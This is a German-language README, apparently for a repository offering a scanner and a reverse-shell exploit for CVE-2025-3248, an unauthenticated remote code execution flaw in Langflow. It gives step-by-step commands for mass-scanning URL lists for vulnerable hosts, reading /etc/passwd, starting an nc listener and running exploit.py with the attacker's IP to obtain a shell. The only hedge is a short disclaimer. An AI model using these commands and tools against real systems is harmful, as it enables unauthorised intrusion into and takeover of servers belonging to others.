CVE-2025-3248: Langflow Nicht authentifizierte Remote-Code-Ausführung (RCE)

Dieses Repository enthält zwei Python-Skripte:

• LangflowCheck.py: Ein Scanner, der nach Langflow-AI-Instanzen sucht, die anfällig für CVE-2025-3248 sind.
• exploit.py: Ein funktionierender Reverse-Shell-Exploit für verwundbare Langflow-Ziele.

Zusammenfassung

CVE-2025-3248 ist eine kritische Schwachstelle in Langflow AI, die es nicht authentifizierten Angreifern ermöglicht, über eine präparierte Nutzlast an /api/v1/validate/code beliebigen Python-Code remote auszuführen.

---

Dateien

LangflowCheck.py

• Überprüft, ob ein Ziel verwundbar ist, indem versucht wird, eine harmlose Nutzlast auszuführen, die /etc/passwd ausliest.
• Kann ein einzelnes Ziel oder eine Liste von URLs scannen.
• Unterstützt die Ausgabe verwundbarer Ziele in eine Datei.

exploit.py

• Sendet eine Reverse-Shell-Nutzlast an den verwundbaren Endpunkt.
• Erfordert Angreifer-IP (lhost) und Listener-Port (lport).
• Protokolliert Aktivitäten in exploit.log.
• Unterstützt Listener-Überprüfung vor dem Senden der Nutzlast.

---

Verwendung

1. Abhängigkeiten installieren

pip install -r requirements.txt

2. Verwundbarkeitsscanner ausführen

Einzel-URL

python3 LangflowCheck.py --url http://target.com --output vulnerable_target.txt

Mehrere Ziele

python3 LangflowCheck.py --file targets.txt --output vulnerable_targets.txt

3. Ein Ziel ausnutzen

Zuerst einen Listener starten

sudo nc -nvlp 4444

Dann den Exploit ausführen:

python3 exploit.py --target http://target.com --lhost YOUR_IP --lport 4444

Sie sollten eine Shell erhalten, wenn das Ziel verwundbar ist.

⚠️ Haftungsausschluss

Dieser Exploit dient ausschließlich zu Bildungszwecken und für autorisierte Sicherheitstests. Verwenden Sie ihn nicht gegen Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben.

---

Offizielle Kanäle

• YouTube @rootctf
• X @r0otk3r